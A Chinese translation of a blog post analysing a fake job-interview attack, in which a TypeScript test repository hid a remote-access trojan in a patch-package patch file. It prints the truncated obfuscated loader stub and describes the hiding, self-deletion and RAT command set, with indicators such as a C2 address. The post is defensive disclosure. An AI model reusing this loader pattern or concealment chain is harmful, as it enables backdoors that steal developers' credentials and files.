一次失败的(民族国家?)攻击的剖析
作者收到伪装成新加坡VC Lua Ventures的虚假面试邮件,要求完成一个TypeScript仓库的“测试”。作者将仓库交给Claude扫描,在`typescript+5.9.2.patch`中发现base64混淆载荷,该载荷在`patch-package`安装时触发,向`~/.cache-`等目录写入`payload.js`和`mutex.js`,构成后门(命名PinpinRAT)。攻击者使用虚构身份和空洞LinkedIn资料,目标是作者在crates.io上的Rust包。相关信息已报告加拿大CCCS等机构。
这是一次近乎完美的开发者定向攻击复盘,虚假面试加上精心构造的补丁注入 RAT,手法隐蔽到连作者都差点中招,所有靠开源吃饭的人都该认真看看 Ioc 并重新审视自己的代码审查盲区。
🧠 这篇文章完全由人类撰写:除 IoC 信息外,所有文字均为人工编写。由于时间紧迫,使用了 Claude 来加速 RAT 分析并构建 IoC 检测脚本。
由于我居住在加拿大,这些信息已报告给相应的加拿大机构(CCCS 等)。这个携带载荷的图片在 VirusTotal 上不会触发任何杀毒引擎。
攻击者的身份是虚构的,但存在同名的无关个人,他们可能被误认,因此已从本文中省略。
在 Reddit 上,Rust 社区中还有其他人提到他们也成为了攻击目标。
本周,我近距离遭遇了一场虚假面试骗局,其目的是在我的机器上植入后门。从邮件的上下文来看,我推测目标是我在 crates.io 上的软件包。
注意:我将其称为“PinpinRAT”是因为一些内部字符串,但它可能在其他地方有别的名字。我在网上找不到任何其他关于它的引用。
一周半前,我收到了一封来自“D█████ S████”的邮件,声称来自 Lua Ventures,这是一家(当时我并不知道)已倒闭的新加坡 DeFi 领域风投公司。需要明确的是:这是一个虚构的人设,选择这个名字很可能是为了容易与若干真实同名人物混淆。
它看起来像一封真实的邮件,其中还包含一个链接,指向一个略显乏味、但看起来颇为正规的 LinkedIn 个人资料。
攻击者甚至点名提到了他们投资的两家公司,这两家恰好都在专门寻找顾问类工作:Lyrasing 和 Roadpay。搜索这两家公司中的任何一家其实都不算什么警示信号——它们都有一些非常基础的网络存在,但没有任何迹象表明它们是假的,而非仅仅是早期阶段。(roadpay.cc 的 archive.org 快照)。
我们就会议时间来回沟通了几次,最终敲定了一个准备交谈的时间。通话本身也没有什么异常。电话那头是一个带着德国口音、有点难以听懂的男人。他说他是在旅行途中接的这个电话,这有点奇怪,但同样,也不一定就是警示信号。
通话之后就是诱饵。一封后续邮件,提供了一个“测试”。
此时我有点恼火,但并未起疑。我克隆了这个仓库,但第一个真正的危险信号正是在这里才出现的。
我运气好的地方在于:他们发给我的是一个 TypeScript 仓库。这让我觉得莫名其妙。那些说明看起来更像是一场 TypeScript 求职面试,而不是任何形式的架构分析。我决定把这个仓库打包压缩,丢进 Claude 里快速扫描一下——一半是出于谨慎,一半是出于偷懒。
片刻之后,它识别出了一些异常之处:
值得注意的是,根目录的 package.json 中并没有 postinstall/preinstall 钩子——这很有意思,因为他们使用了 patch-package,而它通常会挂接到 postinstall 上。让我检查每个 package.json 中的生命周期脚本,然后审计补丁文件(这才是真正的风险面——补丁可以向 node_modules 中注入任意代码)。
这引起了我的兴趣。我自己扫描了这些目录,注意到有相当多不合理的 patches/ 目录。我检查的前几个看起来无害,但你可能已经猜到了,它们只是想制造噪音,好让真正的载荷不被发现。
packages/electron-benchmarks/patches/sumchecker+3.0.1.patch
packages/electron-benchmarks/patches/@electron+get+2.0.3.patch
packages/electron-benchmarks/patches/extract-zip+2.0.1.patch
当我还在手动慢慢检查时,Claude 已经识别出了 PinpinRAT 的最初迹象:
我找到了。这是一个恶意载荷。嵌入在
typescript+5.9.2.patch文件中——在被呈现为对 TypeScript 的常规“模块说明符”补丁之内——有一个 base64 blob 自执行混淆桩被注入到了_tsc.js和typescript.js两者的最顶部:
;;(function(r,k){const d=Buffer.from(r,'base64');for(let i=0;i<d.length;i+=1)d[i]^=k;return new Function('require','Buffer','WebAssembly','process','__dirname',d.toString('utf8'))(require,Buffer,WebAssembly,process,__dirname)})("YWFg...",73)/*12ff4b51*/ void "ticket-harbor-tsc-shim-anchor";
它会解码一个 base64 字符串,用密钥 73 对每个字节进行 XOR 解密,然后将结果传入 new Function(…),同时传入 require、process、Buffer 等。这是一个隐藏的代码执行载荷,每次 tsc 或任何导入 typescript.js 的东西运行时都会触发——也就是说,在第一次 npm run typecheck / build / dev 时就会触发。
……而这就是我决定不再在自己机器上招惹这头熊的时刻。我用密码把它压缩打包,以防自己不小心引爆它,然后继续在沙箱中进行分析。
陷阱
该仓库的主题是一个名为“Ticket Harbor”的渡轮购票应用。捆绑包中包含的 task.txt 是一组看似合理的无聊任务,但结尾却是:
在提交之前,运行仓库的类型检查、测试套件以及相关的桌面端/服务端构建命令。
那条指令就是让你中招的陷阱。
这条链条是这样运作的:
-
四个独立的
postinstall钩子会运行patch-package。但其中一个还会对补丁文件运行git update-index --skip-worktree,从而将它们对git status隐藏起来。 -
typescript+5.9.2.patch会在typescript.js和_tsc.js的顶部注入一个自执行存根。这是一个经过轻度混淆的二进制块,被送入new Function(...)(推测是为了避开eval,以免被恶意软件检测发现)。 -
该加载器会读取追加到一个名为
operators/3.png的文件末尾的隐藏数据块,运行一个嵌入的小型 WASM 存根(位于一个自定义的wAsm数据块中),然后生成一个分离的、静默的 Node 进程,携带一个 1.68 MB 的混淆第二阶段载荷。 -
它会在三个层面进行自我清理:
git skip-worktree手法、投放器会重写patch以在首次运行后删除自己注入的行,以及第二阶段临时目录在执行时自删除。
真正的载荷是一个 RAT(远程访问木马)。我原本担心这是个凭据窃取程序,但实际情况要糟糕得多。PinpinRAT 嵌套在三层混淆之中,拆解起来非常痛苦:obfuscator.io(号称有 LLM 保护,呵呵),外加两层 base64。
它释放了什么
出于 1)快速分享这些信息,以及 2)避免在我自己的机器上意外引爆恶意软件的目的,我让 Claude 在它的沙箱里拆解了真正的木马,并让它向我描述。
明确地说:Claude 在大约 5 分钟的工作内就逆向工程了多层混淆,这比我本可以做到的要快得多。
释放出来的东西是一个完整的远程访问木马,看起来是由懂行的人拼装而成的。它在本地设置了一个 RSA 密钥,并使用 AES-256-CBC 作为会话密钥。
启动时它会调用一个签到例程,收集并外泄主机指纹:
- 主 IP 地址(枚举所有非内部接口),以及所有 IP
- 用户名(
os.userInfo().username) - 主机名
- 操作系统类型 + 发行版 + 平台 + 架构
- 进程 PID 和完整
process.argv - Node 版本
它生成一个 RSA-2048 密钥对和一个随机 AES-256 会话密钥(aes_psk),随后所有流量均使用 AES-256-CBC 加密,并附带 HMAC-SHA256 完整性标签。
它支持以下命令:
env— 将 JSON.stringify(process.env) 转储并回传。upload— 读取任意文件路径并将其窃取外传。download— 将攻击者提供的字节写入任意可写路径。spawn— 运行任意进程,可选启用 shell 扩展。ls/cd/pwd/cp/mv— 通用文件系统原语。dns— 使主机通过指定的解析器解析任意名称(用于 DNS 隧道?)。dismantle— 自我删除。
入侵指标
如果你最终运行了其中任何一个,你应该立即将系统从网络断开,并从另一台机器上轮换你的凭据。修复应该很直接,但请考虑你的凭据(包括 cookie 和受密码保护的机密)已被泄露。
以下是在 PinpinRAT 恶意软件中发现的一些入侵指标:
- C2:89.124.107.161:80
- 计划任务(Windows):
PinpinWrappedJs - 进程伪装(macOS):
com.apple.WebKit.Networking - 环境变量:
NODT_PAYLOAD_PATH、NODT_PAYLOAD_ARGS - PNG 块防护:
WASMPACK(wAsm) PINPIN_NO_AUTOSTART=1:阻止持久化- 带有
mutex.js的 cronjob(仅当该 RAT 拥有权限时,macOS 上可能不存在) typescript.js中的锚点字符串:12ff4b51、ticket-harbor-tsc-shim-anchor- 带有 payload 的
typescript+5.9.2.patch - Artifact dirs:
~/Library/Caches/runtime-cache/.cache-<randomhex>/(macOS),/tmp/.cache-<randomhex>/(Linux),%TEMP%\.cache-<randomhex>\(Windows)- .. 包含
payload.js和mutex.js
- .. 包含
我本应在这里看到标志
有几处我本该更早看到警示信号。这类骗局的目标就是让这些信号足够隐蔽,不至于触发你的防备心理,但你需要足够警觉,才能在足够多的黄旗累积成红旗时察觉出来。
仔细看的话,这些消息带有一些大语言模型的痕迹。这大概是一个信号,说明你对任何事情都应该抱着极度怀疑的态度。
这个 LinkedIn 个人资料乍一看很真实,但里面全是些胡言乱语(“BSc(Hons), MA (Dist), PGDipFM, CEng”?),至少应该让人产生一种“字母汤”的感觉。没有任何真实活动。
他们网站上的社交媒体链接确实有真实的历史记录,但名字在 2025 年 11 月被改过。帖子内容全都相当空洞,是对一些公司的含糊赞美,而这些公司实际上并没有得到任何具体描述。
那些有网站的公司,除了花哨的网站之外,没有任何真正的存在感。
他们从未发过正式的邀请——只是一个时间和一个 Google Meet 链接。哪个 VC 不用日历?他们的摄像头全程关闭,而且他们还在“旅行”。
而整体做法是,一家总部位于新加坡、按 CEST 时区运作的 VC 基金,去联系一位身在加拿大的开发者,域名瞄准的是美国客户,却以 .cc 结尾。要核查一个如此遥远的组织的资质,难度要大得多。
事后看来,没有什么是显而易见的,但如果你把整件事放在一起看,缺失的拼图就在那里。
那么这是谁干的?
无法确定,但这次攻击是有针对性的,有一个相当令人信服的掩护故事,配有虚假人设、多个带有窃取历史的假网站,以及一条耐心的攻击时间线。这个git陷阱相当精密。这种“虚假面试骗局”在 2026 年已成为多个攻击者的惯用手法。
究竟是谁在背后操作,现在要由各机构来负责。什么是值得注意的是,这次攻击的目标正是像你我这样的开发者,而我很幸运地在触发陷阱之前就看到了一个危险信号。
说实话,让我感到恐惧和清醒的是,如果这是一个带有陷阱 build.rs 脚本的 Rust 仓库,我可能也会上当。
来源:Hacker News 热门(buzzing.cc 中文翻译) · grack.com